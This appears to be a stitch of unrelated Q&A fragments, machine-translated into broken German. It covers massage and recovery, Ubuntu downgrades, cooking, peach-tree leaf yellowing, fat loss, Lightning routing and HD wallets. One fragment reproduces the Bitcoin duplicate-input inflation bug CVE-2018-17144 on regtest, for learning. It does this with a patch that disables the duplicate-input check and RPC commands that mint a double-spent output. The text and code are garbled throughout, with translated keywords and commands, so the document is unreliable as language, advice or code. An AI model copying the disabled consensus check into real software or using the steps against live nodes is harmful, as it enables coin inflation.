Sie trifft eine wichtige Unterscheidung zwischen dem Schmerz und der Erholung.

Massage kann sehr gut machen Sie fühlen sich weniger Schmerzen, aber das bedeutet nicht, es wird verbessern Sie Ihre Erholung.

Viele springen sofort auf, um "wenigstens ist es entledigt den Schmerz. Ich werde es tun."

Es gibt eine chance, dass geht nach hinten Los. Viele verbinden den Schmerz mit der Wiederherstellung. Weniger Muskelkater? "Ich bin mehr erholt." In der Tat, viele (fälschlicherweise) gleichzusetzen, wie wund Sie sind von einem Training mit, wie effektiv das Training war.

Wenn Sie oder gönnen Sie sich eine massage, wodurch Sie sich besser fühlen, dann können Sie davon ausgehen, Sie sind eher erholt, als Sie sind, wo Sie versehentlich zu viel zu tun nach der massage. Wie zu hart, in Ihrer nächsten Sitzung, oder Sie nehmen sich nicht genug Zeit ausschalten, bevor die nächste session.

Ich mag dieses ein Papier, das trifft auf dieses:

• Mit Recovery-Modalitäten zwischen den Trainingseinheiten in Elite-Athleten Hilft es?

Persönlich, mit meinen personal training Kunden, ich habe nichts dagegen, wenn Sie sich von einer massage, aber wenn ein Kunde etwas sagt wie "Letztes Training war hart. Ich brauchte eine gute massage nach es," ich bin wahrscheinlich ein wenig vorsichtiger der folgenden Sitzung.

Ich bin überprüfung CVE-2018-17144 inflation Anfälligkeit für das lernen. Ich glaube, ich reproduziert den Fehler auf regtest. Ist es eine richtige Weg, um es zu reproduzieren? Ich möchte wissen, wenn ich bin fehlt etwas daran.

Schritte zum reproduzieren:

Ich habe 2 regtest Knoten; bitcoindA, bitcoindB. Die version v0.16.2 und verbunden mit einander.

bitcoindA läuft, Bergbau-Knoten mit dem folgenden patch zu akzeptieren ungültige Transaktion.

$ git diff
+++ b/src/consensus/tx_verify.cpp
@@ -181,6 +181,7 @@ bool CheckTransaction(const CTransaction& tx, CValidationState &state, bool fChe
}

 // Prüfen auf doppelte Eingaben - Hinweis, dass diese überprüfung ist langsam, so dass wir es überspringen in CheckBlock
+ fCheckDuplicateInputs = false;
 wenn (fCheckDuplicateInputs) {
 std::set<COutPoint> vInOutPoints;

[1] generiert die 2 Adressen auf bitcoindB. (für empfangen, das ungültige utxo)

2NBeTpfn57VpE4e167tFuEtc761jYX7t893,
2N2bb6idv8qsPULP2rqGYoC5yirvVos6yeu

[2] Bergbau 101 Blöcke auf bitcoindA

$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest generieren 101

[3] überprüfen Sie die auszuschüttende txid aus dem abgebauten block und erstellen Sie eine Transaktion mit der txid. dupliziert utxo festgelegt werden, wie die folgenden.

$ ./bitcoinA/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16591 -regtest createrawtransaction '[{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0},{"txid":"5214dc65e9c9d75550a29e9ef9773452d808c5fd0c56bfe396eb7c2d034f5778","vout":0}]' '{"2NBeTpfn57VpE4e167tFuEtc761jYX7t893":99.99}'

[4] Zeichen -, broadcast-und Bergbau auf bitcoinA. Und dann schauen Sie utxo auf bitcoinB.

$ ./bitcoinB/src/bitcoin-cli -rpcuser=bitcoinrpc -rpcpassword=bitcoinrpcpass -rpcport=16592 -regtest listunspent

[
{
 "txid": "c885a3f8c0275424401d2793e69aa6bca81f7badbfc1755e18033e8801b74703",
 "vout": 0,
 "Adresse": "2NBeTpfn57VpE4e167tFuEtc761jYX7t893",
 "Konto": "",
 "redeemScript": "00141c8746e62e30554790f9bd74eeea89f45bdd5e13",
 "scriptPubKey": "a914c9d76124901125aaf2a9b37d8e2d1103a9e5508387",
 "Betrag": 99.99000000,
 "Bestätigungen": 1,
 "aufwendbare": true,
 "lösbar": true,
 "sicher": true
}
]

[5] prüfen Sie, ob die oben utxo möglich ist zu senden an die generierte Adresse (2N2bb6idv8qsPULP2rqGYoC5yirvVos6yeu)

Mögliche Duplikate:
Wie rückgängiges Ubuntu zu einer früheren version?

Ich habe videos gesehen von Leuten downgradiing anderen Versionen vorher, aber wenn ich versuchte es auf einem laptop mit 11.04 es ist fehlgeschlagen, und ich musste formatieren. Ich habe einen anderen computer, dass ich einfach nicht wollen, zu gehen durch das formatieren-wenn überhaupt-möglich.

Versuchen Sie die Installation dieser software "PARAGON-PARTITION-SERVER" und Scannen Sie diese hdd und sehen, wenn es sieht, die andere partition, wenn das 512-GB-partition gesehen-format im NFTS-format

Dies ist, was ich tun würde.

Warten Sie, bis der Schinken hat 30 Minuten, dann verschieben Sie es auf dem unteren Regal, setzen die Rösti auf dem obersten Regal, Heften Sie den Schinken gut und stellen Sie den Backofen auf 350. Ziehen Sie den Schinken nach 30 Minuten, so dass Sie Zeit hat zur Ruhe, und lassen Sie die hash browns, bis Sie fertig sind.

Zum ersten mal habe ich eine spezielle rack auszusetzen, das ei in das Wasser ohne es ruht auf dem Boden des Topf geben und zum ersten mal hat es nicht knacken.

Zu jeder anderen Zeit ich habe versucht alle oben, und es hat nicht geholfen.

Ich bin mir jetzt sicher, dass es ist, weil der Kontakt mit der heißen Oberfläche der Pfanne, bevor das Wasser eine chance hat, die Hitze zu verteilen so dass es nicht drastisch steigen über 100 Grad c

Mit Hilfe der internet-ich glaube, ich habe einengen ein gelbes Blatt problem auf einige Pfirsich Bäume, um ein paar verschiedene Ursachen. Allerdings, nach einem Vergleich der Bilder - Sie sehen anders aus. Zurück ans Reißbrett, um herauszufinden, wo ich schief ging.

Hier noch ein paar weitere Informationen, die hilfreich sein können.

• Neue Bäume, gepflanzt in diesem Jahr. (Mein erstes mal Gärtnern eigentlich)

• Bäume erhalten von jemandem, der weiß um die Bedeutung von organics. Transplantiert Wann waren Sie ungefähr 3" hoch.

• Bis zu diesem Punkt, Bäume wurden dabei ziemlich gut (abgesehen von Schädlingen). Das höchste Wesen über 26" (obwohl es das am nächsten zu einem Feld, so gehe ich davon aus, es hatte etwas zu tun mit Dünger run-off.

• Die Durchschnittliche Baumhöhe beträgt rund 12"

• Die Bäume sind gepflanzt, über 5ft aus einem Graben-Linie. Regnet es ein paar mal im Monat, aber ich würde nicht denken, dass genug sein, um über-Gießen. Der Graben ist kaum gesättigt, außer auf den Tag es regnet.

• Hatte Probleme mit verschiedenen Schädlingen Essen meine Pflanzen, damit ich spray (ein paar mal im Monat) Garten Sicher Organische Insektizide Seife.

• Die Mitglieder der Familie selbst ein paar Hasen also statt "verschwenden" Ihre Ausscheidungen (Siehe was ich dort Tat? :) Ich habe eine große Menge [großen, schweren Müllsack voll] in einem Fass, fügen Sie Wasser, lassen Sie sitzen für einige Wochen und nehmen Sie 2 Tassen 1 Liter Wasser.

• Wasser Sie jede Nacht in den Abend mit 2 Liter Wasser insgesamt für 8 Pflanzen. Etwa 1/4th Liter pro pflanze.

• Über zwei Monate ist es her, habe ich einige Kaninchen pellets (plus mulch aus Käfig) an der Basis der pflanze. Es ist immer noch da, zwar ziemlich ausgetrocknet und verloren die meisten der Färbung.

• Zuerst bemerkte, etwas falsch zu zwei Monaten, wo ein Baum in allem hatte, was ich dachte, war Nährstoff brennen. Die Ränder des Blattes waren ein Rost aussehende Farbe. Ich Dünn wieder mit dem Dünger aber nicht so viel. [Bild #1]

• Nach einem Monat, die Blätter waren noch zu vergilben. Ich habe sofort aufgehört, das bunny Dünger. [Bild #2]

• Nach etwa einem Monat ohne einen gelben Farbton, um außerhalb der Blätter erschienen. Der rest der Bäume schließlich gefangen. Wieder Dünger gestern, in der Hoffnung, Befestigung, da die Pflanzen sind immer noch in Richtung gelb-droopey Zustand. [Bild #3] (Vorsicht, das Bild, die Beleuchtung ist über-ausgesetzt)

• Der größte der Bäume noch ziemlich grün, aber ist endlich beginnen zu gelb auf einige Blätter. Dies ist die Farbe der anderen Pflanzen sollte. [Bild #4]

Mögliche Ursachen:

• Über Bewässerung
• Nährstoff-Mangel
• Nährstoff brennen (von Dünger; auch wenn ich nicht mehr für über einen Monat mit keine änderung)
• Sehr heiße und Feuchte Tage (in diesem Sommer bekam in den hohen neunziger Jahre (95%F+ 80%+ Luftfeuchtigkeit)

Bild-Zeit:

1 - Potentielle Nährstoff brennen

2 - Erste Anzeichen von Vergilbung

3 - Über-belichtetes Bild von Gelbfärbung

4 - Größte Baum, schließlich Gelbfärbung

Reduzieren Sie Körperfett durch die in einem kalorischen Defizit (Verbrennung von mehr Kalorien als Sie Essen/trinken). Sie Muskeln aufbauen, indem er ein positives Stickstoff-Gleichgewicht (in der Regel durch genügend protein in Ihrem system). Balancing diese zwei Dinge können manchmal schwierig, aber definitiv möglich, vor allem für diejenigen, die neu für den Muskelaufbau. Und ja, Sie werden wollen konzentrieren auf den Aufbau von Muskeln, wenn Sie wollen, um das Maximum aus der Fettverbrennung.

Also, was bedeutet das in der Praxis Aussehen? Gut, Sie werden wahrscheinlich wollen, um ein protein-shake kurz nachdem Sie aus der Arbeit zu maximieren protein-absorption, und Sie wollen sicherstellen, dass Sie einige protein aus anderen Quellen über den ganzen Tag. Plane deine Mahlzeiten im Voraus und Ihr Gewicht überwachen. Die Palette der Gewichtsabnahme, die Sie suchen, ist neutral (null) - 1 lb (0,45 kg) pro Woche.

Was das Training selbst? Sie wollen etwas mit cardio natürlich, aber Sie wollen auch etwas, das sich auf Muskel-Gebäude. Mehr als alles andere, werden Sie wollen, um zu Husten sich etwas Bargeld und sparen Sie sich EINE MENGE Zeit und Elend, indem Sie die folgenden ein kompetentes Programm. Mein Vorschlag? Suchen Sie in Google oder YouTube nach "ATHLEAN-X". Ich bin etwa auf halbem Weg durch Ihre AX-1-Programm (die für Anfänger) und ich beginne zu sehen, einige gute Ergebnisse. Aber wenn Sie sich entscheiden, nicht zu gehen mit diesem Programm, nur noch eine finden, die scheint seriös.

Alt+ Fenster Anzahl.

Zum Beispiel Alt+1 für das erste Fenster. Alt+2 für das zweite Fenster etc...

In firefox und chrome können Sie auch Strg+Tab

Ich fand das beim Wandern einen trail durchquert ein altes Gehöft in der Nähe von Hillsborough, NC. Es war reichlich, in einem bewaldeten Gebiet. Es blüht im April. Es ist etwa zehn Zentimeter hoch mit einem spike Blume, grasartigen Blätter und die Blüte ist etwa 1,5 -2 cm im Durchmesser. Es ist nicht heimisch in North Carolina und ist wahrscheinlich eine Birne.

Es scheint, Sie haben ein bisschen Pech hier: die pay-Befehl versucht, zwei verschiedene Routen, die beide scheiterten, und dann konnte Sie nicht finden, einen Dritten Weg. Der erste scheiterte im Knoten 02f6725f9c1 was ich zufällig Zugang zu haben. Also mal sehen, was der Fehler war. Der Pfad versuchte zu route 147900 mSatoshi über diesen Kanal (plus ein paar Gebühren, aber wir ignorieren, dass für jetzt). Zur Zeit der Versuch der Kanal sah aus wie diese aus dem Knoten:

$ Blitz-cli listpeers | jq '.peers[] | select - (.id == "02e8334fcab092f496bce7421e8d711d41cbbfef0429bb30149784418df53dd1b1")'
{
 "id": "02e8334fcab092f496bce7421e8d711d41cbbfef0429bb30149784418df53dd1b1",
 "verbunden": false,
 "channels": [
{
 "state": "CHANNELD_NORMAL",
 "short_channel_id": "520051:68:0",
 "channel_id": "8f48128e5be0d9f7c0d142388b22cd8eb7e624333c25ae0de9790486101c4579",
 "funding_txid": "79451c10860479e90dae253c3324e6b78ecd228b3842d1c0f7d9e05b8e12488f",
 "msatoshi_to_us": 0,
 "msatoshi_to_us_min": 0,
 "msatoshi_to_us_max": 0,
 "msatoshi_total": 50000000,
 "dust_limit_satoshis": 546,
 "max_htlc_value_in_flight_msat": 18446744073709552000,
 "their_channel_reserve_satoshis": 0,
 "our_channel_reserve_satoshis": 546,
 "channel_reserve_satoshis": 0,
 "spendable_msatoshi": 0,
 "htlc_minimum_msat": 0,
 "their_to_self_delay": 144,
 "our_to_self_delay": 144,
 "to_self_delay": 144,
 "max_accepted_htlcs": 483,
 "status": [
 "Aus der Datenbank geladen"
],
 "in_payments_offered": 0,
 "in_msatoshi_offered": 0,
 "in_payments_fulfilled": 0,
 "in_msatoshi_fulfilled": 0,
 "out_payments_offered": 0,
 "out_msatoshi_offered": 0,
 "out_payments_fulfilled": 0,
 "out_msatoshi_fulfilled": 0
}
]
}

Wie Sie sehen können, alle Mittel sind im Besitz der remote-Seite 02e8334fcab, so gibt es keine Möglichkeit für uns, in diese Richtung (wenn wir 10 Dollar auf der Tabelle und auf der anderen Seite besitzt Sie all das, kann ich vielleicht bezahlen Sie mit dem Geld). Die zahlen Befehl sah daher das scheitern und erneut versucht.

Für den zweiten Versuch, die Zahlung geht immer noch über 02f6725f9c1, aber dieses mal haben wir ein ausreichendes Guthaben weiter zu geben:

Blitz-cli listpeers | jq '.peers[] | select - (.id == "02ad6fb8d693dc1e4569bcedefadf5f72a931ae027dc0f0c544b34c1c6f3b9a02b")'
{
 "id": "02ad6fb8d693dc1e4569bcedefadf5f72a931ae027dc0f0c544b34c1c6f3b9a02b",
 "verbunden": true,
 "channels": [
{
 "state": "CHANNELD_NORMAL",
 "short_channel_id": "528371:1680:1",
 "channel_id": "129a51f6055fb609e163c44ca10f060474348048d239ba66e3c0422a45b09b1f",
 "funding_txid": "1e9bb0452a42c0e366ba39d24880347404060fa14cc463e109b65f05f6519a12",
 "msatoshi_to_us": 501772528,
 "msatoshi_to_us_min": 0,
 "msatoshi_to_us_max": 502073023,
 "msatoshi_total": 2000000000,
 "dust_limit_satoshis": 546,
 "their_channel_reserve_satoshis": 0,
 "our_channel_reserve_satoshis": 20000,
 "channel_reserve_satoshis": 0,
 "spendable_msatoshi": 481772528,
 "htlc_minimum_msat": 0,
 "their_to_self_delay": 144,
 "our_to_self_delay": 240,
 "to_self_delay": 144,
 "max_accepted_htlcs": 483,
 "status": [
 "CHANNELD_NORMAL:Wieder, und wieder."
],
}
]
}

Diesmal aber der Letzte hop (025e77156e4c5) vor erreichen der Knoten konnte nicht vorwärts. Wir können nicht überprüfen, dass der Letzte hop ohne access, aber da Sie erwähnen, dass Sie die andere Seite des Kanals, den Sie verwenden Blitz-cli listpeers , um zu sehen, ob die andere Seite hat ein ausreichendes Guthaben (msatoshi_to_us < msatoshi_total). Meine Vermutung ist, dass Sie öffnete den Kanal, und deshalb eigenen sich die gesamte balance (wenn Sie bereits das Geld auf den Tisch, wie soll man Sie bezahlen?).

Wenn Sie zunächst versuchen, die übertragung einiger Mittel woanders (kaufen, nur einige Pixel auf satoshis.Ort oder Lesen Sie einen Artikel über yalls), dann sollten Sie in der Lage sein, um Weg zu Ihrem Knoten.

Sie können HD-wallet, generiert der master-Schlüssel auf dem lokalen Rechner ,danach mit dem master öffentlichen Schlüssel können Sie generieren jede Menge an öffentlichen Schlüsseln. Das ist eine Möglichkeit Sie können auch bitcoin-qt und generieren für jede Anforderung und einmal in eine Weile auf Entzug zu einer kalten Lagerung